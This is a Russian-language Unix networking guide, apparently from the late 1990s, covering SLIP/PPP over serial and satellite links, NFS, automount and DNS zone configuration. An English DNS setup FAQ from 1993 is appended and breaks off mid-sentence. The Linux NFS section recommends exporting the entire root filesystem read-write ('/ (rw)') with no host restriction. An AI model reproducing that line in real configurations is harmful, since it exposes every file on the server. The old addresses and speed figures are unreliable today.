хоста, IP адрес и параметры сети, DNS сервера

 HP/UX:           /etc/set_parms initial
 Linux Slackware: net_config
 Solaris:         /etc/???

.
        &dD;Организация TCP/IP по последовательным линиям&d;@

     Протокол  TCP/IP  не  обязательно  требует  наличия etherн
net'ной сети. Вполне допустимы и  другие  физические  носители,
например:

  Последовательные линии с подключением через порты RS-232,

  Скоростные линии с подключением через параллельные порты,
  или скоростные синхронные порты (например 485, V.435).

Эти возможности обеспечиваются специализированными реализациями
протокола IP:

     для подключения через RS-232
SLIP  - Serial  Line IP - самая первая реализация  TCP/IP  "для
        бедных", широко используется до сих пор.
CSLIP - Compressed  SLIP - модификация протокола SLIP.
        Сжатию подвергаются заголовки  IP-пакетов. ВНИМАНИЕ: но
        не сами данные! В стандартном IP-пакете IP-заголовки со
        служебной  информацией  занимают  порядка  40  байт.  В
        CSLIP'е эти заголовки ужимаются до 3 байт. При пересыл-
        ке большого числа мелких пакетов получается  существен-
        ный выигрыш в скорости. Если пакеты крупные, то выигры-
        ша не будет никакого.
PPP   - Point-to-Point Protocol
        Еще одна,  современная реализация TCP "для бедных". Яв-
        ляется стандартным для SVR4. Более универсален.  Позво-
        ляет также  организовать  передачу  по последовательной
        линии протокола IPX. Поддерживает режимы эмуляции  slip
        и cslip - для совместимости.

     для подключения через Centronix-параллельный порт
PLIP  - Parallel  Line IP - некоторые скажут - экзотика.
        Ничуть  не  бывало.  Весьма распространенная вещь.  Вот
        когда TCP/IP по SCSI-шине - это да, это - экзотика.
        Кстати, RFC 1149 описывает передачу пакетов IP голубиной
        почтой.

        &dDTCP;/IP по спутниковой связи&d;@.

Теоретических   трудностей   организация   связи  TCP/IP  через
спутниковую антенну нет - все выглядит также, как при  модемной
связи  по  телефону.  Технология  примерно следующая: с антенны
выходит  высокочастотный  сигнал,  сигнал  прогоняется   сквозь
спутниковый  модем,  из  модема выходит поток данных по формату
High Speed Interface - завести  в  компьютер  его  можно  через
скоростной  порт,  например  V.435  (логически  он  ведет  себя
приблизительно как обычный последовательный порт), и со стороны
хоста  -  поднимается протокол PPP. Естественно, на "том конце"
предполагается та же схема подключения.

+-------------------+	     +-----------------+           (
|     протокол  порт| данные |порт  спутниковый| сигнал   ( ><
|Host   PPP    V.435|========|V.435 модем      | ~~~~~~    (
|    -TCP/IP->      |        |                 | ~~~~~~    /\
+-------------------+        +-----------------+        Антенна

Вместо Хоста  со  скоростным  портом,  модем можно подключить к
специализированному устройству  -  "Роутеру",  внутри  которого
"зашит" протокол TCP/IP (PPP, Ether), и имеются порты Ethernet,
и High Speed Interface. Достаточно популярны  для  таких  целей
роутеры "Cisco router", "NetBlaser".

+-------------------+	     +-----------------+           (
|     протокол  порт| данные |порт  спутниковый| сигнал   ( ><
|Router   PPP  V.435|========|V.435 модем      | ~~~~~~    (
|    -TCP/IP->      |        |                 | ~~~~~~    /\
+-------+-----------+        +-----------------+        Антенна
	|
 ... -Ethernet------ ...


        &dD;Скорость, которую можно получить&d;@.

Скорость главным образом  зависит от типа и качества линии свя-
зи, используемых модемов, и типа  порта,  в  который этот модем
воткнут.

Практические ограничения на скорость:

Скорость данных между модемами V32bis/V42 по городскому телефо-
ну, или междугородней линии "Искра" до 16800 бит/сек. Реально ~
12000 бит/с.  Наличие  встроенного  протокола V42 сжатия данных
позволяет поднять реальную (замеренную уже не между модемами, а
между  портами)  скорость передачи несжатых данных в 2-4  раза,
т.е. до 38400-57600 бит/с

Максимальная     скорость     приема/передачи     данных     на
последовательном  порту  RS-232  зависит  от  наличия  в   оном
микросхем UART (Universal Asyncronous Receiver-Transmitter)

  16450  - 19200 bit/s.
  16550  - 19200 bit/s. (отсутствие буковки "A" - фатально)
  16550A - 38400 bit/s.
  16550A до 115200 bit/s. (Если операционная система "тянет")
                      (в частности - Solaris, Unixware  - нет,
                       FreeBSD, Netblaser, Cisco router - да)

   В итоге реальная скорость пересылки данных:

Телефон/"Искра",          V32bis/V42 - 19200  бит/с.
Выделенная 2-х проводка,  V32bis/V42 - 38400  бит/с.
Выделенная 4-х проводка,  RAID,????? - 115200 бит/с.
Физическая 4-х проводка<=4км,  ?????     до 1 Мбит/с.
Оптоволокно            <=?км,  ?????     ?? 2 Мбит/с.
Антенна. Спутниковый модем. Порт V.435. PPP 64, 128, 256 Кбит/с

        &dD; * Конфигурирование SLIP/CSLIP * &d;@.

Для  этого  соединяем  два  host'а  нульмодемным  кабелем через
последовательные порты, и запускаем фоном  программу  slattach,
переводящую   порты    в    режим  передачи  протокола  TCP/IP.
Естественно, что SLIP надо запускать  с  обоих  концов,  причем
"одинаковый".

        SVR4, slip

slattach /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 19200 &
  # переводит порт /dev/comport в режим "slip" на скорости 19200
  # и устанавливает IP-адрес на slip-интерфейс

        SVR4, cslip

slattach -c /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 38400 &
  # переводит порт /dev/comport в режим "Compressed-slip"
  # на скорости 38400
  # и устанавливает IP-адрес на C-slip-интерфейс

slattach -e /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 38400 &
  # переводит порт в режим slip или cslip,
  # автоматически определяя, какой именно протокол запущен
  # "на том конце", и устанавливает со своей стороны такой же


        Linux, SLIP.


Теперь SLIP в Linux заряжается командой DIP, с конфигурационным файлом:
/usr/sbin/dip    config-file-name
---------------------------------------------------------------
# прямой коннект нульмодемным кабелем
main:
  get $local  193.232.171.22
  get $remote 193.232.171.19
  port /dev/modem
  speed 9600
  mode SLIP
  exit
---------------------------------------------------------------
# slip с телефонной дозвонкой
---------------------------------------------------------------
       main:
         get $local   uwalt.hacktic.nl
         get $remote xs4all.hacktic.nl
         port /dev/modem
         speed 38400
         send ATQ0V1E1X4\r
         wait OK 2
         dial p555-1234
       login:
         sleep 2
         wait ogin: 20
         send MYLOGIN\n
         wait ssword: 20
         send MYPASSWD\n
         # We are now logged in.
         wait SOMETEXT 15
         get $mtu 296
         # Ensure "route add -net default xs4all.hacktic.nl" will be done
         default
         mode SLIP
---------------------------------------------------------------


  На обоих концах иметь симметричные файлы и запустить dip'ы

        Linux, CSLIP.

# сперва переводим порт в режим "cslip"
slattach -p cslip /dev/modem &
ifconfig cs0 NASH-IP-ADRES  pointopoint  IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES

        Linux, PLIP.

ifconfig plip1 NASH-IP-ADRES  pointopoint  IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES

        Установка SLIP по телефонной линии через модем.

Надо заставить наш модем созвониться с "тем" модемом.
После  этого мы получаем прозрачное соединение между
последовательными портами, по которому и "поднимаем"
SLIP, см. предыдущие пункты.

  ( stty 19200 ; echo atdp9120123 ) < /dev/modem > /dev/modem
  sleep 55

Выдаем на модем команду atdp - набрать телефонный номер, и ждем
55 секунд. Надеюсь, модемам  хватит этого времени, чтобы  "сню-
хаться".

        Восстановление связи в случае обрыва.

Как  узнать, что связь порвалась? Ping'ануть "тот" конец линка.
Прежде,  чем  набирать  модемом  номер  для   новой   дозвонки,
необходимо   "снять"  slip  с  нашего  последовательного  порта
(поскольку   в   режиме   slip   он   функционирует   не    как
последовательный  порт, а как канал передачи TCP/IP). Как снять
slip? Кильнуть slattach.

while true   # В вечном цикле
do sleep 60  # Подождать минутку

  if  ping 107.65.8.254 | grep 'is alive' ;
    then   echo Ok > /dev/null   # Если IH-IP-ADRES отзывается
    else
         # Иначе зарубаем slattach
         slip_pid=`ps -ef | grep slattach | cut -c1-6`
         kill -9 $slip_pid
         # набираем тамошний телефонный номер
        (stty 19200; echo atdp9120123) < /dev/modem > /dev/modem
         sleep 55
         # поднимаем slattach
         slattach -e /dev/modem  195.8.2.3  107.65.8.254 19200 &
  fi
done

        &dD; * PPP * &d;@

        &dDMOTOROLA;: PPP&d;@

/etc/inet/ppphosts - перечисляет ppp-хосты

     Правила  дозвонки и соединения с этими хостами описываются
стандартными описаниями из UUCP

     Убедиться,    что    поддержка    ppp    присутствует    в
конфигурационном файле /etc/strcf

     Убедиться,    что    при загрузке запускается команда slink

        Непосредственное   ppp-соединение   активизируется  при
обращении ("по требованию").

    Подробности искать в

    man ppp
    man pppd
    man ppphosts

        &dDLinux;&d;@

     Все   делается  командой  pppd.  В  комплект  pppd  входит
командочка chat,  в  аргументах  же  pppd  задаются  IP-адреса,
телефонные  номера,  инициализация  модема,  chat-овый диалог с
машиной провайдера.

Пример: (Почти из жизни) явно задаем наш IP=123.456.789.12

pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
              atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
    crtscts defaultroute modem noipdefault -detach mru 1500 \
    123.456.789.12:194.85.105.1 /dev/modem 38400

Пример: взять адреса заданные сервером

pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
              atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
    crtscts defaultroute modem noipdefault -detach mru 1500 \
    0.0.0.0: /dev/modem 38400

        &dDWindows; 95&d;@

Поставить  допоолнительный  пакет  из MS Plus - "Network dialup
script editor"

Подключить через него скрипт:
---------------------------------------------------------------
proc main

   waitfor "login:" until 5
   transmit $USERID, raw
   transmit "^M"

   waitfor "Password:"
   transmit "password^M"

   waitfor "modem" until 5
endproc
---------------------------------------------------------------

В  звонильной форме вписать logname, password не вписывать, ибо
все равно он забывается при каждом перезапуске.

        &dDHP-UX; 10.20&d;@

На рабочих станциях под HP-UX/10.20 родного ppp НЕТ. Только slip.
Можно сftpить free-варный пакет iij-ppp
http://www.verinet.com/~barthold/ftp/iij-ppp0.94beta2.hpux10.tar.gz
Документация по конфигурации и инсталляции прилагается к пакету.

На  серверах  и  рабочих станциях SLIP назван "ppl" и включен в
стандартный пакет "LAN/9000 Link" product.
.
        &dD;Сетевая файловая система NFS&d;@

            - Network File System.

Стандартной  сетевой файловой системой для UNIX'а является NFS.
Любая Unix-машина умеет монтировать по протоколу NFS  удаленные
файловые  системы и использовать их как свои собственные, а так
же может выделять свои каталоги для других машин. Выглядит  это
примерно так:

   mount -F nfs udalennaq.mashina:/katalog_tam  /katalog

или, если у вас BSD или Linux

   mount -o rsize=8192,wsize=8192 mashina:/katalog_tam  /katalog

   ls -al /katalog

Хотя NFS был когда-то разработан для Unix'а, имеется реализация
NFS для MSDOS-овских PC. Эти пакеты  принято  называть  сводным
именем  PC/NFS (Не путать с названием "PC-NFS" - это реализация
PC/NFS от фирмы "Sun Select"). Т.е. PC'юк, на  котором  запущен
NFS  для  PC,  может  монтировать  в  качестве  сетевых  дисков
каталоги Unix'овской машины, которые  она  выделяет  в  NFS.  -
Фактически,  PC/NFS  дает для PC те же самые возможности, что и
Netware - удаленный сетевой диск и удаленный  сетевой  принтер.
Разница  лишь  в том, что Unix-host, помимо позволения NFS-ения
себя, в состоянии заниматься и своими собственными задачами,  а
сервер   Netware   ничем  кроме  обслуживания  своих  клиентов,
изображая  для  них   диск   с   ethernet'ом,   заниматься   не
приспособлен,  но  работает быстрее раза в 1.5-2. Ну и занимают
NFS-ные резиденты порядка 100 Kb оперативной памяти, в то время
как Netwar'ные - порядка 50.

        &dD2.;&d;@ Оценочные скорости пакетов PC/NFS различных произво-
дителей: 486dx2/66, адаптер wd8013 16 bit:

Пакет:         чтение Kb/сек   запись
      NFS for PC
PC-NFS 4.0      220             120
PC-NFS 5.0(**)  220             120
Pathway         350             170
PCTCP 3.0       350             200
TSOFT (*)       200             100
XFS   (*)       500              50
Chameleon NFS(**) 2-е место по результатам тестов
      Unix for PC
Linux/NFS(*)    400             350
FreeBSD/NFS(*)  900             300
Unixware/NFS    400             300
      Прочие
Netware 3.11    500             600
NW Lite         400             500
WFW (Samba)     150             150
Lantastic       ?               ?

        (*)  - условно-бесплатные или бесплатные пакеты
        (**) - защищен от нелицензированного копирования

Для сравнения: скорость чтения/записи NFS между двумя
 SUN SPARCstation и/или IBM/RS6000   900/400 Kb/сек

        &dD3.; Для того, чтобы Unix-машина служила NFS сервером&d;@

На  ней  должны  быть запущены следующие демоны:

rpc.portmap     - демон портов RPC (Remote Procedure Call)
                  (поскольку NFS использует RPC)
                  (На Motorole не требуется.)

mountd          - обслуживание команд монтирования (он решает -
                  разрешить/ не разрешить)

nfsd            - непосредственное обслуживание протокола NFS

biod            - кэширование NFS-чтений на клиенте
                  (только в SunOS)

pcnfsd          - проводит дополнительную "авторизацию" пользо-
                  вателей  на  PC/NFS клиентах. Поскольку MSDOS
                  не занимается учетом и регистрацией пользова-
                  теля,  pcnfsd  сам  спрашивает  у   PC-ишного
                  user'а его имя и пароль.
                  (не обязателен, но желателен)

Обычно все эти  демоны запускаются на уровне выполнения 3. Пос-
мотрите, с большой  вероятностью  вы обнаружите на своей машине
файл с названием наподобие:

  /etc/rc3.d/S22nfs - предназначен для запуска NFS-сервера

Должно быть  указано,  какие  именно каталоги, разрешается "ви-
деть" по NFS, и каким именно машинам это разрешается.

Эти каталоги указываются в файле

/etc/dfs/dfstab         и    экспортируются    явной   командой
shareall или share (если у вас SVR4)

    или в файле
/etc/exports      и экспортируются явно командой
exportfs -a     (если у вас какой либо другой UNIX)

        &dD4.;&d;@ Активизация NFS.

Обычно, на машине  со  свежеустановленным Unix'ом NFS сервер не
активизирован. Чтобы он  запустился,  системный   администратор
должен обеспечить выполнение условий перечисленных в предыдущем
пункте. Для этого достаточно:

        &dDMotorola; 922&d;@

После загрузки переходить на уровень выполнения 3.
В файле /etc/inittab исправить строку

is:2:initdefault:
        на строку
is:3:initdefault:

Запускать pcnfsd - демона "авторизации" PCNFS'ных пользователей
В файл /etc/rc3.d/S22nfs вставить команду запуска демона:

        /usr/lib/nfs/pcnfsd

Из  меню   sysadm   в   network_services   /   remote_files   /
local_recources / share  / nfs задать каталоги, которые вы раз-
решаете "раздавать" по NFS. Например, проэкспортируйте  каталог
/home

Чтобы  исправления  в /etc/inittab подействовали, перезагрузите
unix командой

    shutdown -y -g0 -i6

        &dDLinux;&d;@

В файле /etc/rc.d/rc.inet2 раскомментируйте строки, запускающие
демонов
        rpc.portmap
        rpc.nfsd
        rpc.mountd
        rpc.ugidd

В файл /etc/exports вставьте строку
/ (rw)

Перезагрузитесь

        &dDSun; Solaris 1.1&d;@.

В файл /etc/exports вставьте строки...

  /home
  /usr

Перезагрузитесь

        &dDSun; Solaris 2.3&d;@.

В файле /etc/dfs/dfstab вставьте строки для экспортируемых фай-
ловых систем. (Формат указан в комментариях в этом файле)

Перезагрузитесь

        &dD5.;&d;@ ЕЩЕ ОДНА СЕТЕВАЯ ФАЙЛОВАЯ СИСТЕМА. RFS. DFS.

RFS - Remote File Sharing. Тоже сетевая файловая система. NFS -
порождение  BSD Unix'а, RFS - System V Unix'а. Назначение такое
же, как и у NFS. Каких либо преимуществ по сравнению с  NFS  не
имеет. Ярко выраженных недостатков, пожалуй, тоже.  Значительно
менее распространена, чем NFS. Не имеет automounter'а. Клиентов
RFS for MSDOS PC нет. Зато RFS поддерживает захват и блокировку
файлов, и специальные файлы. Активизировать RFS  вряд ли  имеет
смысл. Действительно, зачем нам второй Генеральный секретарь?

DFS  -  Distributed File System. Тоже сетевая файловая система.
Вот и все, что я могу про нее сказать.
.
        &dD;Конфигурирование automount-демона&d;@

Авто-монтировщик  -   демон,  запущенный  на  NFS-клиенте. Этот
демон монтирует  удаленные  каталоги "ПО  ТРЕБОВАНИЮ"  -  т.е.,
когда    к  ним  происходит  обращение.  Если  к  автоматически
смонтированному   каталогу    долго    не    было    обращений,
автомонтировщик  его автоматически отмонтирует.

Авто-монтирование поддерживается демоном automountd. Этот демон
запускается   при  начальной  загрузке   операционной  системы.
Запускается он в командном файле

    /etc/rc2.d/S20nfs.client

     automountd          #  если все карты будут браться из NIS
       или
     automountd -m -f /etc/auto.master   # брать только локальные
                                         # карты

Управляется automountd несколькими "картами" - файлами с описа-
нием кого и куда надо  монтировать.  В  простейшем случае нужно
иметь три файла:

/etc/auto_master     - головной конфигурационный файл

               Ссылается на:
/etc/auto_direct     - указывает, какие каталоги куда монтировать

/etc/auto_home       - задает правила монтирования домашних
                       каталогов пользователей, расположенных на
                       удаленных машинах.

/etc/auto_master :---------------------------------------------
#
# Master map for automounter
#
/net        -hosts
# задает: корневой каталог компьютера по имени imyarek монтиро-
# вать на каталог       /net/imyarek
#
/-          /etc/auto_direct
/home       /etc/auto_home


/etc/auto_direct :---------------------------------------------
#
#
/usr/informix    -ro,soft    classic00:/usr/informix
/usr/local       -rw,soft    classic00:/usr/local
#
#      Смонтировать с первого откликнувшегося сервера.
#
/usr/share/man   -ro,soft    classic00:/usr/share/man \
                 -ro,soft    sun21:/usr/share/man \
                 -ro,soft    sun22:/usr/share/man


/etc/auto_home :---------------------------------------------
moshkow           s08:/udd/moshkow
leo               classic00:/export/home/leo
# а лучше написать так:
*                 classic00:/export/home/&
*                 sun21:/export/home/&

Каждый пользователь polxzowatelx на этой машине должен быть за-
регестрирован с домашним каталогом /home/polxzowatelx
.
        &dDDNS; - Domain Name Service&d;@

        &dD;Конфигурирование DNS-клиента&d;@

&dD;Указываем наш dns-server&d;@

/etc/resolv.conf :
search          moshkow.pp.ru sosed.msk.ru
nameserver      127.0.0.1
;nameserver     194.8.2.1

&dD;Порядок просмотра информации о именах хостов задается в &d;@

/etc/host.conf     :           (Linux, BSD)
order bind, hosts, nis
multi on

/etc/nsswitch.conf :           (В Solaris, HP-UX)
. . .
hosts:  files bind nis
. . .

&dD;Имя домена нашего хоста&d;@    (Не всегда, но часто)
/etc/defaultdomain :
moshkow.pp.ru

        &dD;Как посмотреть зоны DNS&d;@

 nslookup -ty=ns  msk.ru
 zzz=msk.ru ; named-xfer -z $zzz -f filename ns.$zzz
 egrep '^[a-z]' filename | egrep -v A | grep NS| cut -f1 | sort -u| wc

или сходить в RIPE:

ftp://ftp.ripe.net/ripe/hostcount
ftp://ftp.ripe.net/ripe/dbase

  &dD;Результат на февраль 1997:&d;@

ru     1400
msk.ru  217
spb.ru  490
ras.ru  20
msu.su  19
rssi.ru 42

        &dD; * Конфигурирование DNS-сервера * &d;@

     Для этого нужно создать начальный конфиг-файл named.boot и
в каталоге /var/named сложить файлы с описанием наших зон

        &dD;Пример заполнения файлов&d;@

Моя зона         moshkow.pp.ru
делегируется из          pp.ru  (а значит - в RIPN)
Revers-зона      173.233.193.in-addr.arpa
делегируется у хозяина зоны 233.193.in-addr.arpa (а значит - в RIPN)

/etc/named.boot          ; config-файл вашего DNS
/var/named/moshkow.pp.ru ; описание вашей зоны
/var/named/193.233.173.0 ; описание реверс-dns для той же зоны
/var/named/root.cache    ; нужно иметь. У всех стандартный
/var/named/127.0.0.1     ; нужно иметь. У всех стандартный

     Если  ваша  локальная  сеть  не подключена к Интернет, все
равно полезно иметь в ней DNS сервер для внутренних нужд.  Чтоб
он  не порождал 1.5 минутных таймаутов при обращении к заведомо
"внешним"   недостижимым   хостам,   просто    сделайте    файл
/var/named/root.cache пустым.

        Заведенные   вами  dns  зоны  надо  зарегистрировать  в
"вышестоящей"   зоне,   чтоб   они   делегировали    ее    вам.
Реверс-dns'ную    зону   тоже   необходимо   регистрировать   -
делегировать вам ее обязан тот, кто выдал ваши IP-адреса.


/var/named/moshkow.pp.ru: ========================
@               IN      SOA     ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
        1997093001 ; serial
	28800  ;8  Refresh как часто secondary проверяет обновления
	7200   ;2  Retry как часто secondary тыкается после "непрохода"
	6048000;70d Expire  сколько запись живет на secondary
	864000);10d Minimum сколько запись живет в кэше
                IN NS   ns.moshkow.pp.ru.
                IN NS   nss.ras.ru.
                IN MX 10        mail.moshkow.pp.ru.
                IN MX 50        mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ns      IN A    193.233.173.111
nss     IN A    193.233.172.8
proxy   CNAME   t111
mail    CNAME   t111
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
t01     IN A    193.233.173.1
t02     IN A    193.233.173.2
 . . .
t254    IN A    193.233.173.254
t255    IN A    193.233.173.255

/var/named/193.233.173.0 : ========================
@               IN      SOA     ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
                        1997093001 ; serial
                        28800      ; refresh ( 8 hours)
                        7200       ; retry   ( 2 hours)
                        6048000    ; expire  (70 days )
                        864000 )   ; minimum (10 days  )
                IN NS   ns.moshkow.pp.ru.
                IN NS   nss.ras.ru.
                IN MX 10        mail.moshkow.pp.ru.
                IN MX 50        mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
1               IN PTR  t01.moshkow.pp.ru.
2               IN PTR  t02.moshkow.pp.ru.
 . . .
255             IN PTR  t255.moshkow.pp.ru.

/var/named/root.cache -----------------------------------------
; ftp://ftp.rs.internic.net/domain/named.root
;
.                        3600000  IN  NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     198.41.0.4
.                        3600000      NS    B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET.      3600000      A     128.9.0.107
.                        3600000      NS    C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET.      3600000      A     192.33.4.12
.                        3600000      NS    D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET.      3600000      A     128.8.10.90
.                        3600000      NS    E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET.      3600000      A     192.203.230.10
.                        3600000      NS    F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET.      3600000      A     192.5.5.241
.                        3600000      NS    G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET.      3600000      A     192.112.36.4
.                        3600000      NS    H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET.      3600000      A     128.63.2.53
.                        3600000      NS    I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET.      3600000      A     192.36.148.17

/var/named/127.0.0.0 --------------------------
@               IN      SOA   localhost.  root.localhost. (
                        1997071201      ; Serial
                        36000           ; Refresh
                        3600            ; Retry
                        3600000         ; Expire
                        36000 )         ; Minimun
        IN      NS      localhost.
1       IN      PTR     localhost.

=========== И НАКОНЕЦ /etc/named.boot
directory                               /var/named      ;
cache   .                               root.cache      ;
primary 0.0.127.in-addr.arpa            127.0.0.0       ;
; forwarders 193.124.148.65 193.124.23.4
primary moshkow.pp.ru                    moshkow.pp.ru  ;
primary 173.233.193.in-addr.arpa        193.233.173.0   ;
; secondary  moshkow.orc.ru  193.124.148.81  second/moshkow.orc.ru

        &dD;Дополнительная информация&d;@

$INCLUDE /var/named/header
@
$INCLUDE /var/named/fedfond-hosts-spisok
@

&dD;Пояснения:&d;@

&dD;Первая строка содержит: &d;@

     имя зоны с обязательной точкой в конце
     предопределенные поля IN и SOA
     имя  сервера,  на котором содержится заведомо правильная
     информация о зоне, с
     обязательной точкой на конце. При необходимости размещения вторичных
     серверов мы будем брать информацию о зоне именно с этого сервера.
     почтовый  адрес ответственного за сервер, в котором знак @
     заменен на . а если
     требуется использовать . в левой части адреса, она должна
     быть префиксирована
     двумя знаками \ Именно по этому адресу будет отправлено сообщение в случае
     успешного делегирования зоны. Адрес в приведенном примере будет выглядеть
     как
     andrei.arkhipov@elvis.ru
     открывающая круглая скобка

На следующих 5 строках описываются важные для зоны параметры:

&dDSerial;&d;@

Определяет  порядковый  номер  редакции файла с описанием зоны.
Это число должно  изменяться  только  в  сторону  увеличения  и
изменяться  оно  должно  при  каждом  внесении изменения в файл
описания зоны. Рекомендуемый формат:

&dDYYYYMMDDNN;&d;@

где  YYYY  -  год, MM - месяц, DD - день, NN - порядковый номер
внесения изменения в указанный день.

&dDRefresh;&d;@

Каждые "refresh" секунд вторичные сервера проверяют основной на
предмет увеличения значения  "serial",  и  если  это  произошло
обновляют  у  себя  зону.  Рекомендуемое  значение:  86400, что
составляет 24 часа.

&dDRetry;&d;@

Если   основной   сервер   был   недоступен,   вторичный  будет
производить   повторные   попытки   каждые   "retry"    секунд.
Рекомендуемое значение: 7200, что составляет 2 часа.

&dDExpire;&d;@

Если  в  течение  "expire"  секунд  вторичный  сервер  не  смог
соединиться с основным и обновить информацию о зоне, он считает
себя неспособным давать ответы на запросы о зоне. Рекомендуемое
значение: 2592000, что составляет 30 суток.

&dDMinimum; TTL&d;@

Значение  по  умолчанию  для времени, в течение которого сервер
держит запись в  кэше.   Рекомендуемое  значение:  345600,  что
составляет 4 суток.

Далее идет описание всех серверов зоны, причем сервер указанный
в   первой   строке   (в   записи   SOA)   обязательно   должен
присутствовать  в  этом  списке,  а  если необходимо размещение
вторичных  серверов  на  маших  АО  Релком   (ns.spb.su   и/или
ns.ussr.eu.net),  то  и  они  должны присутствовать в списке, а
также в заявке.

В  приведенном  примере  утверждается, что зона присутствует на
серверах ns.elvis.ru  и  ns2.elvis.ru  и  требуется  размещение
вторичных серверов на ns.spb.su и ns.ussr.eu.net

Обратите внимание, что все имена серверов заканчиваются точкой.

===================================== EOF ===========================

[ Article crossposted from comp.protocols.tcp-ip.domains ]
[ Author was Craig Richmond - division (craig@ecel.uwa.edu.au) ]
[ Posted on 3 Aug 1993 10:53:51 GMT ]


                Setting up a basic DNS server for a domain
                            Revision 1.1.1

                            Craig Richmond
                         craig@ecel.uwa.edu.au
                            3rd August 1993


About this document

I have written this file because it seems that the same questions seem to
pop up time and time again and when I had to install DNS from scratch the
first time, we found very little to help us.

This document covers setting up a Domain Name Server with authority over
your domain and using a few of the more useful but less well known
(hopefully this document will take care of that) features of nslookup to
get information about the DNS and to work out why yours isn't working.

If you are using a Sun Workstation and you want to make NIS interact with
the DNS, then this is not the FAQ for you (but it may well be when you try
to set up the DNS).  Mark J. McIntosh  points
out that it is included in the comp.sys.sun.admin FAQ and for the benefit
of those of you who can't get that (it is posted in comp.sys.sun.admin,
comp.sys.sun.misc, comp.unix.solaris, comp.answers and news.answers) I have
included the relevant parts at the bottom in appendix C.

Contents:

   Contents
   An Overview of the DNS
   Installing the DNS
    *The Boot File
    *The Cache File
    *The Forward Mapping File
    *The Reverse Mapping File
   Delegating authority for domains within your domain
   Troubleshooting your named
    *Named doesn't work!  What is wrong?
    *I changed my named database and my local machine has noticed,
     but nobody else has the new information?
    *My local machine knows about all the name server information,
     but no other sites know about me?
    *My forward domain names work, but the backward names do not?
   How to get useful information from nslookup
    *Getting number to name mappings.
    *Finding where mail goes when a machine has no IP number.
    *Getting a list of machines in a domain from nslookup.
   Appendicies
    *Appendix A  sample root.cache file
    *Appendix B  Excerpt from RFC 1340 - Assigned Numbers - July 1992
    *Appendix C  Installing DNS on a Sun when running NIS


An Overview of the DNS:

The Domain Name System is the software that lets you have name to number
mappings on your computers.  The name decel.ecel.uwa.edu.au is the number
130.95.4.2 and vice versa.  This is achieved through the DNS.  The DNS is a
heirarchy.  There are a small number of root domain name servers that are
responsible for tracking the top level domains and who is under them.  The
root domain servers between them know about all the people who have name
servers that are authoritive for domains under the root.

Being authoritive means that if a server is asked about something in that
domain, it can say with no ambiguity whether or not a given piece of
information is true.  For example.  We have domains x.z and y.z.  There are
by definition authoritive name servers for both of these domains and we
shall assume that the name server in both of these cases is a machine
called nic.x.z and nic.y.z but that really makes no difference.

If someone asks nic.x.z whether there is a machine called a.x.z, then
nic.x.z can authoritively say, yes or no because it is the authoritive name
server for that domain.  If someone asks nic.x.z whether there is a machine
called a.y.z then nic.x.z asks nic.y.z whether such a machine exists (and
caches this for future requests).  It asks nic.y.z because nic.y.z is the
authoritive name server for the domain y.z.  The information about
authoritive name servers is stored in the DNS itself and as long as you
have a pointer to a name server who is more knowledgable than yourself then
you are set.

When a change is made, it propogates slowly out through the internet to
eventually reach all machines.  The following was supplied by Mark Andrews
Mark.Andrews@syd.dms.csiro.au.

        If both the primary and all secondaries are up and talking when
        a zone update occurs and for the refresh period after the
        update the old data will live for max(refresh + mininum)
        average (refresh/2 +mininum) for the zone. New information will
        be available from all servers after refresh.

So with a refresh of 3 hours and a minimum of a day, you can expect
everything to be working a day after it is changed.  If you have a longer
minimum, it may take a couple of days before things return to normal.

There is also a difference between a zone and a domain.  The domain is the
entire set of machines that are contained within an organisational domain
name.  For example, the domain uwa.edu.au contains all the machines at the
University of Western Australia.  A Zone is the area of the DNS for which a
server is responsible.  The University of Western Australia is a large
organisation and trying to track all changes to machines at a central
location would be difficult.  The authoritive name server for the zone
uwa.edu.au delegates the authority for the zone ecel.uwa.edu.au to
decel.ecel.uwa.edu.au.  Machine foo.ecel.uwa.edu.au is in the zone that
decel is authoritive for.  Machine bar.uwa.edu.au is in the zone that
uniwa.uwa.edu.au is authoritive for.

Installing the DNS:

First I'll assume you already have a copy of the Domain Name Server
software.  It is probably called named or in.named depending on your
flavour of unix.  I never had to get a copy, but if anyone thinks that
information should be here then by all means tell me and I'll put it in.
If you intend on using the package called Bind, then you should be sure
that you get version 4.9, which is the most recent version at this point in
time.

The Boot File:

First step is to create the file named.boot.  This describes to named
(we'll dispense with the in.named.  Take them to be the same) where the
information that it requires can be found.  This file is normally found in
/etc/named.boot and I personally tend to leave it there because then I know
where to find it.  If you don't want to leave it there but place it in a
directory with the rest of your named files, then there is usually an
option on named to specify the location of the boot file.

Your typical boot file will look like this if you are an unimportant leaf
node and there are other name servers at your site.

directory	/etc/namedfiles

cache		.	       				root.cache
primary		ecel.uwa.edu.au				ecel.uwa.domain
primary		0.0.127.in-addr.arpa			0.0.127.domain
primary		4.95.130.in-addr.arpa			4.95.130.domain
forwarders      130.95.128.1

Here is an alternative layout used by Christophe Wolfhugel
  He finds this easier because of
